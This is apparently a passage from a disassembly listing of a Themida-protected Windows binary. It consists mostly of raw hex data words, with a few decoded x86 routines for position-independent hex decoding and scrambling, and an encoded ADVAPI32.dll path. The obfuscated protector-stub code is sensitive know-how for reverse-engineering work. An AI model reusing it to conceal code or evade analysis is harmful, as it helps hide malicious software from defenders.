35000000h, 4FE345h, 4 dup(0) dd 0FD000000h, 5788h, 0DC000000h, 5A82h, 0E9000000h, 1177FFFFh dd 111111h, 0 dd 43000000h, 49575C3Ah, 574F444Eh, 79535C53h, 6D657473h dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ah dup(0) dd 46000000h, 0FFFFFFh, 0 dd 1000000h, 0 dd 37000000h, 40F050h, 3 dup(0) dd 1F000000h, 53F6h, 2 dup(0) dd 0FD000000h, 5788h, 0 dd 1000000h, 5 dup(0) dd 4000000h, 547FFE03h, 9FD5h, 3F000000h, 397734B7h, 317687h dd 1D000000h, 0FA41ECCh, 0A0A0h, 45000000h, 0A031h, 6 dup(0) dd 0D7000000h, 77DD23h, 0FC000000h, 0FFFFFFh, 19000000h dd 4 dup(0) dd 25B00h, 4000000h, 7FFE03h, 0Dh dup(0) dd 0ED000000h, 0B5FFFF99h, 91h, 87h dup(0) dd 0DE000000h, 3 dup(0) dd 0F1000000h, 0FF5F5Fh, 0 dd 0B6000000h, 33E1ECh, 51000000h, 5777h, 110003C6h, 238EA1h dd 7 dup(0) dd 0D7000000h, 14h, 4 dup(0) dd 1000000h, 2 dup(0) dd 70000000h, 5862h, 32000000h, 5841h, 0 dd 90000000h, 77E827h, 2 dup(0) dd 8D000000h, 28C68Dh, 0CC000000h, 67000000h, 0C1466Fh dd 0 dd 0A4000000h, 12FFh, 0AC000000h, 0E400A29Bh, 0E088F3h dd 0 dd 0E9000000h, 0E70001C1h, 5A97h, 0B0000000h, 0A06Ch, 0 dd 10000000h, 1FDA34h, 0FE000000h, 387695F3h, 0FFFF33h dd 2 dup(0) dd 0DD000000h, 0A069h, 0 dd 0E4000000h, 0E97A49D6h, 277EBA6h, 12h, 9 dup(0) dd 13000000h, 6B7FFDBBh, 53FCh, 0 dd 73000000h, 0CBFFFAh, 14h dup(0) dd 0FD000000h, 129FFh, 7 dup(0) dd 0CC000000h, 0DFFFFFA2h, 0A9C530h, 63h dup(0) dd 4000000h, 7FFE03h, 5 dup(0) dd 0B0000000h, 190FFh, 0 dd 6C201Eh, 2Dh dup(0) dd 6E000000h, 0CB5474h, 2 dup(0) dd 23000000h, 5700h, 7 dup(0) dd 0DF000000h, 4EC4E5h, 6 dup(0) dd 8D000000h, 5700h, 2 dup(0) dd 0DD000000h, 0A069h, 0 dd 15000000h, 0C3h, 7 dup(0) dd 54000000h, 0FF0012FFh, 1292Fh, 4 dup(0) dd 0E8000000h, 8, 5 dup(0) dd 8C000000h, 0B4E8h, 5000000h, 6F0A2801h, 90D8D9h, 3 dup(0) dd 0C1000000h, 5764h, 7 dup(0) dd 0B0000000h, 7800001Dh, 0FB000000h, 0F7F580h, 3 dup(0) dd 3D000000h, 5B4Eh, 0E000000h, 3000006Bh, 900059F2h, 1200h dd 0E000000h, 0DD00006Bh, 0A069h, 0FF000000h, 0FFFFFFh dd 0A7000000h, 1286BB8Ch, 5798h, 6 dup(0) dd 16000000h, 5F911h, 31h dup(0) dd 1000000h, 0 dd 0E000000h, 6Bh, 7 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 0E7000000h, 0BAh, 2 dup(0) dd 70000000h, 0D6F7Ah, 8 dup(0) dd 34000000h, 2300A092h, 9D000000h, 9C0001h, 0 dd 57000000h, 5884h, 2 dup(0) dd 0A0000000h, 0E9000003h, 15Fh, 2 dup(0) dd 2000000h, 14000000h, 0E00h, 0DC000000h, 802E5ECEh, 0Eh dd 0C3000000h, 0EDBh, 3 dup(0) dd 1B000000h, 2EE396h, 3 dup(0) dd 2B000000h, 2 dup(0) dd 0DD000000h, 0A069h, 5 dup(0) dd 21000000h, 212121h, 8F000000h, 595Eh, 6 dup(0) dd 0F6000000h, 30E293h, 0EB000000h, 0AB204h, 0 dd 2 dup(1000000h), 73000000h, 0A3CBFFFAh, 0B0005AEBh dd 0A800A06Ch, 0Bh dup(0) dd 23000000h, 85005700h, 44518Eh, 0 dd 14000000h, 5894h, 0C277D400h, 0AC4371h, 0C7000000h dd 73195Dh, 3 dup(0) dd 8000000h, 0E8D5B7B6h, 77E82Fh, 5 dup(0) dd 1000000h, 6 dup(0) dd 0B5000000h, 77E75Ch, 75000000h, 5AEDh, 3 dup(0) dd 0F000000h, 8600A0A0h, 77E7C4h, 0 dd 0E8000000h, 5C049Fh, 6 dup(0) dd 2C000000h, 1E444DBBh, 2C56E4h, 8 dup(0) dd 0ED000000h, 0FFFFFBh, 6 dup(0) dd 0E9000000h, 0CBE399h, 54000000h, 0FD00A131h, 572Dh dd 1D000000h, 53076Ah, 0DC000000h, 0FFFFA1h, 2A000000h dd 57A3h, 0 dd 0C2000000h, 9E0D6Ah, 0 dd 28C00h, 2 dup(0) dd 0E5000000h, 1489647Dh, 1E00005Dh, 5BF0h, 0AD000000h dd 572Dh, 2000000h, 5 dup(0) dd 0CC000000h, 0F7005BFFh, 0D000A009h, 0DFFFFFA2h, 30h dd 0 dd 0BF000000h, 6B290Dh, 6 dup(0) dd 94000000h, 2, 32000000h, 5AE2h, 4 dup(0) dd 0FB000000h, 125C8Fh, 0 dd 23000000h, 95005700h, 56A122h, 29h dup(0) dd 90000000h, 77E827h, 6 dup(0) dd 0FF000000h, 0A3F393h, 4 dup(0) dd 6A000000h, 579Ch, 0 dd 88000000h, 6 dup(0) dd 3F000000h, 77E7A1h, 0 dd 1900B700h, 731A98h, 3 dup(0) dd 0E7000000h, 0A4A5h, 5C000000h, 64F45FFEh, 0FFA6CDh dd 9 dup(0) dd 7C000000h, 7 dup(0) dd 59000000h, 2884FDh, 14h dup(0) dd 0E9000000h, 148h, 0 dd 9F000000h, 57A6h, 0B0000000h, 7400E0FFh, 43005934h dd 68000056h, 8777E83Eh, 0F00599Ah, 930057BEh, 0D000A093h dd 0E4Ah, 6 dup(0) dd 2000000h, 13032h, 9 dup(0) dd 0DE000000h, 0F00A02Bh, 0A0A0h, 0 dd 59000000h, 0CC2884FDh, 84000000h, 5 dup(0) dd 0FD000000h, 36FCB280h, 363636h, 5B00h, 2 dup(0) dd 59000000h, 35732027h, 0FA0040FEh, 26525h, 5 dup(0) dd 4B000000h, 45h, 1D000000h, 0FF6FFAC5h, 1Fh, 9 dup(0) dd 0DD0h, 74000000h, 6 dup(0) dd 5C000000h, 7EF405h, 9 dup(0) dd 0CC025900h, 51141Ah, 0Ch dup(0) dd 0FC000000h, 5BBEh, 5 dup(0) dd 9A000000h, 9777DD18h, 0B8090D77h, 0 dd 374C00Bh, 8B0018C2h, 530C2444h, 0E8h, 0C3815B00h, 17h dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF00A0h, 424448Bh dd 0E0FFh, 12h dup(0) dd 0A0000000h, 6A0A2Eh, 9 dup(0) dd 54000000h, 12FFh, 2 dup(0) dd 60000000h, 90BE0616h, 0Fh, 6 dup(0) dd 0AD000000h, 5A56h, 7F000000h, 0FFDCB2h, 4 dup(0) dd 0FD000000h, 34005788h, 0A2B1h, 3 dup(0) dd 8A000000h, 0B02E6412h, 5430h, 2 dup(0) dd 8002B0h, 0 dd 0BE000000h, 74005AF6h, 865559h, 3 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 0ED000000h, 12C8F56h, 5 dup(0) dd 6C000000h, 0FFAB47h, 63000000h, 77E779h, 7 dup(0) dd 80000000h, 0D1FFA6EBh, 0FC000007h, 0FFFF98h, 0Ah dup(0) dd 77004000h, 5401h, 9 dup(0) dd 60000000h, 0A115h, 40000000h, 0FFA534h, 13h dup(0) dd 0D8000000h, 77E805h, 5E000000h, 77E7ACh, 0 dd 82000000h, 77E78Bh, 0Eh dup(0) dd 0B0000000h, 200FFh, 0 dd 24000000h, 242424h, 94000000h, 7 dup(0) dd 33000000h, 2 dup(33333333h), 333333h, 3 dup(0) dd 0EF000000h, 0E877E793h, 0B2h, 8 dup(0) dd 0AE00h, 4 dup(0) dd 2000000h, 0A000000h, 0FDA701h, 2 dup(0) dd 20000000h, 577Dh, 18000000h, 0FFFFF8h, 4000000h, 0FDE110h dd 2 dup(0) dd 0F5000000h, 0AA6081h, 0 dd 5D000000h, 5699h, 19h dup(0) dd 0B0000000h, 0F8005709h, 542Ch, 6 dup(0) dd 48000000h, 0Dh, 6 dup(0) dd 93000000h, 5990h, 0 dd 73000000h, 0CBFFFAh, 8 dup(0) dd 0D5000000h, 0F800572Dh, 9F00h, 0BD000000h, 40FFh, 0 dd 4000000h, 537FFE03h, 0A48Dh, 5 dup(0) dd 0E8000000h, 77DBBEh, 77F500h, 3 dup(0) dd 0F1000000h, 0DB0E9C8Ch, 682E5EA1h, 8C77E821h, 4005725h dd 7FFE03h, 2 dup(0) dd 44000000h, 9C005A62h, 7 dup(0) dd 0B1000000h, 58E4h, 5 dup(0) dd 0C000000h, 57C5h, 3 dup(0) dd 0E9000000h, 17FFFF99h, 96E304h, 8 dup(0) dd 0F0000000h, 0D8005427h, 0A27Fh, 0FC000000h, 8001FCh dd 0 dd 0FF000000h, 0FFFFFFh, 3 dup(0) dd 6B000000h, 541Ah, 0FFFF00h, 6 dup(0) dd 4000000h, 0FF7FFE03h, 34C8EFh, 6 dup(0) dd 12000000h, 5798h, 6 dup(0) dd 0A0000000h, 2E000000h, 0A05Eh, 4 dup(0) dd 0D8000000h, 6004001h, 77E6D7h, 0 dd 3B000000h, 0A03Eh, 0FF000000h, 7Fh, 7C000000h, 0E0C526h dd 8 dup(0) dd 0C7000000h, 0E225Eh, 4 dup(0) dd 0EA000000h, 57FEh, 0Eh dup(0) dd 4000000h, 35000000h, 57F5h, 0Fh dup(0) dd 60000000h, 12FFh, 4004010h, 147FFE03h, 22005AFDh, 5C20h dd 0FD000000h, 0FE005788h, 400B0A1h, 877FFE03h, 5875h dd 0Dh dup(0) dd 90000000h, 0 dd 18000000h, 0F2BA50h, 3 dup(0) dd 0FE000000h, 587FFFFFh, 5FC6C3h, 0 dd 99000000h, 0A094h, 2 dup(0) dd 0C000000h, 24100h, 8 dup(0) dd 0AF000000h, 5403h, 8 dup(0) dd 0A4000000h, 0DBFFFF9Ch, 5674F101h, 9E00A0FAh, 598Ah dd 0 dd 0FD000000h, 77E7A5h, 0E000000h, 5D00006Bh, 57D4h, 0 dd 2B004DE0h, 68AC29B8h, 0A132h, 2 dup(0) dd 9E000000h, 54C9A3F5h, 12FFh, 4000000h, 0C47FFE03h, 5Ch dd 0AC000000h, 0FFED00h, 4 dup(0) dd 16000000h, 0DD00A273h, 400A069h, 7FFE03h, 0 dd 0FC000000h, 238001FCh, 0FF5F96h, 6 dup(0) dd 0A9000000h, 33h, 9 dup(0) dd 0EB000000h, 5C5C1Eh, 4 dup(0) dd 8E000000h, 0FFFF7Dh, 7 dup(0) dd 95000000h, 0B67FFFA7h, 5797h, 2 dup(0) dd 9B000000h, 0FFFF59h, 2 dup(0) dd 894C00h, 0 dd 0EC000000h, 0FFB1FFh, 4 dup(0) dd 70000000h, 73000000h, 0CBF7A8h, 3 dup(0) dd 0E000000h, 6Bh, 41000000h, 490FC58h, 7FFE03h, 4000000h dd 957FFE03h, 8FDA7h, 0CC000000h, 5BFFh, 4 dup(0) dd 0D8000000h, 0FFFF95h, 2 dup(0) dd 4000000h, 7FFE03h, 0F8000000h, 542Ch, 0 dd 5000000h, 4 dup(0) dd 1000000h, 0 dd 1D000000h, 3BE5BAh, 3 dup(0) dd 5000000h, 4 dup(0) dd 80000000h, 0FF000000h, 0FFFFFFh, 4 dup(0) dd 15001C30h, 26552h, 0 dd 0BC000000h, 0AFFFFFE6h, 59B4h, 4000000h, 7FFE03h, 23000000h dd 0DC005400h, 0FFFFA1h, 4 dup(0) dd 0F5000000h, 31E0E5h, 0Dh dup(0) dd 0F000000h, 0A0A0h, 68000000h, 23Eh, 2 dup(0) dd 41000000h, 5779h, 2 dup(0) dd 0D8000000h, 9 dup(0) dd 44000000h, 0A3A7734h, 4A02817h, 18000003h, 7277E806h dd 0CBF7A8h, 2 dup(0) dd 95000000h, 1C3A2Eh, 0 dd 40000000h, 0FFA6A8h, 8B000000h, 60D48BC5h, 0E8h, 0ED815D00h dd 64D334Bh, 116D9589h, 0B589064Dh, 64D2F3Dh, 13958589h dd 0BD83064Dh, 64D034Dh, 8B0C7400h, 0B8E28BE8h, 1, 8B000CC2h dd 89242444h, 4D0A4D85h, 0E8456A06h, 0A3h, 83749A68h, 0DFE807h dd 25680000h, 0E80A894Bh, 0D5h, 214E9h, 47464500h, 4B4A4948h dd 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h, 5F5E5D5Ch dd 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h, 87868584h dd 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h, 9B9A9998h dd 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh dd 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h dd 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 64D3439h mov ebx, edx mov dword ptr [ebp-28h], 0 loc_542333: ; CODE XREF: Themida_:00542350j mov eax, [ebp-28h] inc eax mov [ebp-28h], eax cmp dword ptr [ebp-28h], 80h jz short loc_542352 mov eax, [ebp+8] mov [ebx+64D33A3h], eax inc dword ptr [ebp+8] inc ebx jmp short loc_542333 ; --------------------------------------------------------------------------- loc_542352: ; CODE XREF: Themida_:00542341j mov [ebp-24h], eax popa mov eax, [ebp-24h] leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 64D3482h lea eax, [ebp-80h] mov ebx, [ebp+8] mov dword ptr [ebp-84h], 0 loc_542383: ; CODE XREF: Themida_:0054239Ej mov ecx, [ebp-84h] rol ebx, 1 mov [eax], bl inc ecx mov [ebp-84h], ecx cmp dword ptr [ebp-84h], 80h jnz short loc_542383 mov dword ptr [ebp-84h], 0 lea edi, [edx+64D33A3h] lea esi, [ebp-80h] loc_5423B3: ; CODE XREF: Themida_:005423E0j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_5423BF: ; CODE XREF: Themida_:005423C6j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_5423BF imul eax, ebx inc edi inc esi mov ecx, [ebp-84h] inc ecx mov [ebp-84h], ecx cmp ecx, 80h jnz short loc_5423B3 popa leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_5423FD ; --------------------------------------------------------------------------- loc_5423F9: ; CODE XREF: Themida_:00542400j inc dword ptr [ebp-4] inc esi loc_5423FD: ; CODE XREF: Themida_:005423F7j cmp byte ptr [esi], 0 jnz short loc_5423F9 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54248E ; --------------------------------------------------------------------------- loc_54240F: ; CODE XREF: Themida_:00542491j mov dword ptr [ebp-8], 0 jmp short loc_542485 ; --------------------------------------------------------------------------- loc_542418: ; CODE XREF: Themida_:00542489j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_542472 ; --------------------------------------------------------------------------- loc_542428: ; CODE XREF: Themida_:00542476j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54244A cmp bl, 39h ja short loc_54244A sub bl, 30h jmp short loc_54246C ; --------------------------------------------------------------------------- loc_54244A: ; CODE XREF: Themida_:0054243Ej ; Themida_:00542443j cmp bl, 61h jb short loc_54245C cmp bl, 66h ja short loc_54245C sub bl, 61h add bl, 0Ah jmp short loc_54246C ; --------------------------------------------------------------------------- loc_54245C: ; CODE XREF: Themida_:0054244Dj ; Themida_:00542452j cmp bl, 41h jb short loc_54246C cmp bl, 46h ja short loc_54246C sub bl, 41h add bl, 0Ah loc_54246C: ; CODE XREF: Themida_:00542448j ; Themida_:0054245Aj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_542472: ; CODE XREF: Themida_:00542426j cmp dword ptr [ebp-0Ch], 2 jb short loc_542428 cmp dword ptr [ebp-10h], 0 jbe short loc_542482 mov eax, [ebp-10h] stosb loc_542482: ; CODE XREF: Themida_:0054247Cj inc dword ptr [ebp-8] loc_542485: ; CODE XREF: Themida_:00542416j cmp dword ptr [ebp-8], 2 jb short loc_542418 add edx, 4 loc_54248E: ; CODE XREF: Themida_:0054240Dj cmp edx, [ebp-4] jb loc_54240F mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- db 0B9h, 0, 70h dd 0BD8D0000h, 64D35C8h, 49470FFEh, 21B8FA75h, 0BA486921h dd 0F00E0000h, 0EA81h, 858DF000h, 64D36DBh, 35FF6450h dd 0 dd 258964h, 0E8000000h, 0 dd 0DE8B6658h, 0C22B1AB7h, 5E8h, 70D1D700h, 0BB66A1E6h dd 0E85B9A94h, 11h, 8B320497h, 39DCFB1h, 0FD46D676h, 0ED62431Ah dd 870F57B7h, 0 dd 255B5Bh, 6AFFFFF0h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 4006C353h, 0DF8B66B0h dd 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h, 503A81D0h dd 74000045h, 10002D08h, 0EB470000h, 58F64E3h, 0 dd 8D04C483h, 4D36EE95h, 0FF645206h, 35h, 25896400h, 0 dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h dd 3768000h, 331C708Bh, 32F883C0h, 81661F74h, 745A4D3Eh dd 0EE8109h, 40000100h, 7E8BEBEBh, 81FE033Ch, 45503Fh dd 0EB447400h, 58F64E8h, 0 dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 244C8B51h, 0E85510h, 5D000000h, 36F9ED81h, 858D064Dh dd 64D36B7h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h dd 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 15F4DBC3h, 376C7246h, 8C66365Bh, 57006AD9h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 83B6114Eh, 38BB5676h, 8008758Ah, 0E180F8C3h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0BBAED462h, 78189CA8h, 850FC90Ah, 22h, 0C7D88B66h, 4D128185h dd 106h, 8E900h, 0CC950000h, 0A18EFE7Eh, 26E9D0BEh, 8B000000h dd 85C7FCD8h, 64D1281h, 0 dd 14E9h, 7FF8D300h, 7975623Bh, 0DB47E2A4h, 82235D97h dd 62B61EC1h, 31858962h, 0F064D14h, 28Eh, 89DA8B00h, 4D0B2985h dd 0DE806h, 0CC4F0000h, 92422B98h, 38D464E4h, 0F93F3BDh dd 6659F7B7h, 0C181FB8Bh, 6E9Dh, 8B66F560h, 0D23361F3h dd 0A34FFF9h, 7800Fh, 0BB500000h, 39BABE92h, 11E9585Eh dd 5D000000h, 680D93EAh, 0ED217F1h, 4CFE4C5Fh, 2F98504Fh dd 2242C081h, 81660664h, 813825D6h, 358B34C0h, 0D88B663Ch dd 0DD88C081h, 0C6817756h, 4FD41FD4h, 3830F50h, 66000000h dd 48FF08Bh, 9E911h, 19FC0000h, 0DDA27B97h, 0F5126B11h dd 63EAEA81h, 8B6677D4h, 0E6C281F3h, 8177D463h, 0FF9220FAh dd 11850FFFh, 0E9000000h, 1Bh, 0AED87105h, 46D819E7h, 91216D9Fh dd 0E9F98B66h, 0FFFFFF69h, 6EDFC278h, 0E9FCC8E5h, 741h dd 66D38B60h, 61BB9BBBh, 2035B589h, 217064Dh, 0 dd 9A7A8100h, 0C53706E9h, 14ED81BBh, 698B8A5Eh, 0BF8F72FBh dd 0F8B70F60h, 8E9h, 6DF59700h, 0BE944B4Fh, 616Dh, 7E9h dd 6A737400h, 28C6CA1Ah, 68A0F60h, 29000000h, 4D138195h dd 60C02B06h, 0C95BBA66h, 24548B61h, 1810F28h, 0FC000000h dd 42D8589h, 850F064Dh, 1, 3CBEF5h, 8B0F0000h, 6, 101DB501h dd 7403064Dh, 81602424h, 5D352ECEh, 0AD666151h, 5D9BD89h dd 4403064Dh, 90F92424h, 11E9h, 0A553F100h, 5EA66C33h dd 57DD60E4h, 0C426A0F6h, 0E950B464h, 14h, 0F141CC7h, 9DCD9470h dd 0B47DDA89h, 69B703ECh, 0A69D586Fh, 0D9BD2990h, 8B064D05h dd 0BD897840h, 64D2E4Dh, 28244403h, 18D0FFCh, 0FC000000h dd 3118408Bh, 4D0B0DBDh, 8F0F4006h, 1, 0CC8589F9h, 89064D38h dd 4D0ABD9Dh, 9D895806h, 64D1EB9h, 0F78708Bh, 687h, 659D8900h dd 83064D26h, 8B601CC6h, 4D268585h, 918D8906h, 61064D30h dd 24247403h, 68B0F60h, 33000000h, 4D1F0195h, 0BE6606h dd 0BD8D613Dh, 64D14C1h, 0A98D8B60h, 61064D2Ch, 10E9ADh dd 6B0B0000h, 0B15B981Ch, 1D6213BFh, 7E1EB9A7h, 44030258h dd 8D892424h, 64D1F35h, 0F1BD89ABh, 0F064D2Fh, 1685h, 11E900h dd 3D560000h, 2CF2713Fh, 70FFB04Fh, 0D46D3824h, 8D224C83h dd 4D128DBDh, 6060F806h, 2781BD8Bh, 0E961064Dh, 8, 8B0E26Fh dd 10966097h, 960AD61h, 4D1151B5h, 0D9858B06h, 61064D21h dd 24244403h, 22E1B529h, 8C0F064Dh, 7, 18D0Fh, 50F90000h dd 0BE95250h, 0EC000000h, 0D2480425h, 0B2952189h, 310FC2A0h dd 9E960h, 91F20000h, 7B67DBCh, 0E9BFDC46h, 5, 0D69BD0FFh dd 585A61D1h, 0E9240489h, 11h, 0F4BE5DC8h, 75D697CEh, 0C59AAE95h dd 43C04D20h, 8DF5AB00h, 4D304DBDh, 35B58906h, 9064D0Fh dd 4D164985h, 13E9AD06h, 17000000h, 2D359E9h, 3D97BBC3h dd 8A7CB036h, 6BAA491h, 13E99F42h, 91000000h, 1B01C310h dd 59041403h, 68393860h, 0A7E88A7Dh, 4403FC5Ah, 8D292824h dd 64D11C5h, 73D9509h, 31AB064Dh, 4D1BDD9Dh, 61B58906h dd 5E064D0Eh, 22E5B589h, 8DFF064Dh, 64D38CCh, 38CCBD83h dd 7500064Dh, 2444C710h, 1Ch, 0C3B58D00h, 0FF064D3Dh, 3AD56E6h dd 97282444h, 858ADF8Bh, 64D26E5h, 474C084h, 4C75073Ah dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh dd 42D85FFh, 6FE9064Dh, 5EFFFFFFh, 18B0Fh, 0FF80000h, 18Ah dd 0BD01F800h, 64D327Dh, 17860Fh, 12E90000h, 0F9000000h dd 0F314ABDh, 0FCF3F857h, 850523AEh, 4748FF78h, 2D858B81h dd 89064D04h, 4D0E1D85h, 60E0D106h, 0DE8h, 0BD49E100h dd 0C2FFB29Ah, 33EEA76Ch, 0BD8933EFh, 64D1501h, 0DF81665Bh dd 3616184h, 4D304D85h, 81BD8906h, 0BE064D31h, 0 dd 66F996F9h, 0C8F0FADh, 0F000000h, 681h, 0B9BD0900h, 0C1064D0Bh dd 0DE902E0h, 0F1000000h, 6F4817B7h, 219241C1h, 0EC0518C8h dd 14C18503h, 9531064Dh, 64D27DDh, 10E9h, 7FC3A600h, 198EA6DCh dd 0EEAA57A1h, 374B50F8h, 85099670h, 64D2FA9h, 0D7BB60ADh dd 294E15B3h, 4D001D95h, 4C8B6106h, 9D292424h, 64D0EEDh dd 24244403h, 6860Fh, 9D890000h, 64D057Dh, 2E89BD89h, 4489064Dh dd 85891C24h, 64D3031h, 41858996h, 89064D25h, 4D1B1985h dd 850FAC06h, 7, 1890Fh, 32F90000h, 7E9C9h, 27760000h dd 0D30037DBh, 29C1FE9Bh, 4D27DD9Dh, 0FD0D006h, 0B083h dd 14E900h, 8B000000h, 590DEA6Fh, 0CDBF0BBFh, 6E4CEF26h dd 82908114h, 0D0D02020h, 8F830Fh, 810F0000h, 6, 2349BD89h dd 9D89064Dh, 64D1135h, 820FD0D0h, 75h, 31BD8960h, 8B064D22h dd 4D254D8Dh, 0D0D06106h, 5F820Fh, 95290000h, 64D29B5h dd 890FC9FEh, 0FFFFFF99h, 555BD09h, 0C483064Dh, 7E920h dd 5D170000h, 72E3B0A3h, 2444C727h, 0FCh, 0B5B50900h, 0B8064D2Bh dd 1, 17C18589h, 8D8D064Dh, 64D740Eh, 18519589h, 0E1FF064Dh dd 10E9h, 7C3DD500h, 143A2881h, 83A89E7Dh, 307459C0h, 0E585C6F8h dd 64D26h, 13E9h, 0F927B400h, 0A9FD0FB7h, 0CFE07DEEh, 8E1FE852h dd 0B6B44FF0h, 0A830F61h, 60000000h, 318D9533h, 6160064Dh dd 8C261h, 13E9h, 43CBED00h, 0E444C8DDh, 2C26DE6h, 1BE2B09Ch dd 265FB2Ah, 0E8606096h, 0Dh, 329E8770h, 5C16E28Dh, 1A05167Dh dd 0F78B5F3Bh, 0F525061h, 5A585231h, 0E9506158h, 13h, 0F047413Ch dd 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h, 96784338h, 0C8F0Fh dd 820F0000h, 6, 12799509h, 0B589064Dh, 64D3FD1h, 0BE9h dd 0DBD19000h, 8AA75889h, 0E2C4542Ah, 3FE98D89h, 160064Dh dd 4D314195h, 3880F06h, 66000000h, 8D61F98Bh, 4D3EC7B5h dd 5E906h, 0E7C70000h, 0F9301028h, 7E35858Dh, 8589005Bh dd 64D2B65h, 9509D0FFh, 64D1369h, 2985895Eh, 0C3064D15h dd 0CE9h, 12CDF300h, 619F6A06h, 196AB0B4h, 0D1B58B45h dd 89064D3Fh, 4D2D3D8Dh, 0E98D8B06h, 0E9064D3Fh, 8, 7AF74F49h dd 8E244E30h, 9501C02Bh, 64D1E0Dh, 858BF860h, 64D0AF5h dd 89D98B61h, 4D2E15BDh, 0B4E906h, 0FE90000h, 0C000000h dd 0FC3A4030h, 43623127h, 6CF84A6Ah, 2632B4F5h, 0D858B60h dd 80064D2Eh, 0B26110C0h, 1810F02h, 0F5000000h, 48E9h dd 0C232F500h, 10099D09h, 7A05064Dh, 0E98A751Dh, 0Ch, 0D891D65Bh dd 52213C4Eh, 6D024D7Ah, 9CC8AF8h, 4D23C59Dh, 0FCC8D306h dd 0D1084235h, 3D953198h, 0FE064D1Bh, 0BE9CAh, 8A630000h dd 0DDC5891Eh, 6728C46Ah, 0FD20A72h, 0FFFFB185h, 1860FFFh dd 0F8000000h, 6820F4Bh, 89000000h, 4D152985h, 0D58D8906h dd 46064D0Eh, 14850Fh, 0FE90000h, 88000000h, 997960E0h dd 479E02A4h, 86984107h, 0DB0B3966h, 0FF58850Fh, 8B0FFFFFh dd 9, 0DF81F560h, 2B61B800h, 0F5CF61h, 0FCF96000h, 0F5000061h dd 0AE9h, 33B97200h, 35C4FDA0h, 8EAC42h, 0B5896000h, 64D0645h dd 43FB866h, 89000061h, 4D26E1BDh, 6858D06h, 60064D39h dd 2390E7BEh, 44F3813Bh, 6119C7E5h, 18870Fh, 13E90000h dd 26000000h, 9F5E638Ah, 2DBFAB35h, 59481168h, 16A136ECh dd 8589F751h, 64D1375h, 6880F60h, 89000000h, 4D0F39BDh dd 0DBBF0F06h, 0E858D61h, 0E9064D3Eh, 8, 0E9764C57h, 6DC3DC8Ah dd 2C318589h, 13E8064Dh, 0FC000000h, 2362517Bh, 0AC1E37D9h dd 0AAFF8A4Ah, 7E5D08C6h, 0BD296B1Dh, 64D0EA9h, 0D985095Eh dd 81064D31h, 66DBC6h, 299D3300h, 0BA064D03h, 1995h, 2C898D8Bh dd 68B064Dh, 22CD8589h, 0E881064Dh, 338C6F4h, 5FDBD8Bh dd 0F081064Dh, 604B78EDh, 0C081F88Bh, 705629C9h, 1E0D9D8Bh dd 689064Dh, 31998D0Bh, 0EE81064Dh, 230E78B2h, 13D58D33h dd 0C681064Dh, 230E78AEh, 83F8BF0Fh, 850F01EAh, 0FFFFFFB2h dd 23219D8Bh, 14EB064Dh, 4 dup(0) dd 8Bh, 41C6858Dh, 8589064Dh, 64D2955h, 40FEBD83h, 0F00064Dh dd 12B84h, 0E585C600h, 56064D26h, 4E8h, 1F6D3900h, 448B50D4h dd 8B0424h, 4244489h, 31B5FF58h, 8D064D14h, 4D390685h dd 89D0FF06h, 4D40F285h, 0E585C606h, 56064D26h, 0FF1EEF68h dd 243481F0h, 6C57A6BDh, 1431B5FFh, 858D064Dh, 64D3906h dd 8589D0FFh, 64D40F6h, 4E8046Ah, 0 dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 4D410285h dd 1F40506h, 0E0C10000h, 90509002h, 95FF006Ah, 64D40F6h dd 40FA8589h, 0D88B064Dh, 0FFFFFFB8h, 5595FFFFh, 8B064D29h dd 5595FFC3h, 0E9064D29h, 84h, 40FEBD83h, 0F00064Dh, 185h dd 8B57C300h, 4D40FABDh, 8583AB06h, 64D40FAh, 83C35F04h dd 4D40FEBDh, 850F0006h, 1, 0AD8360C3h, 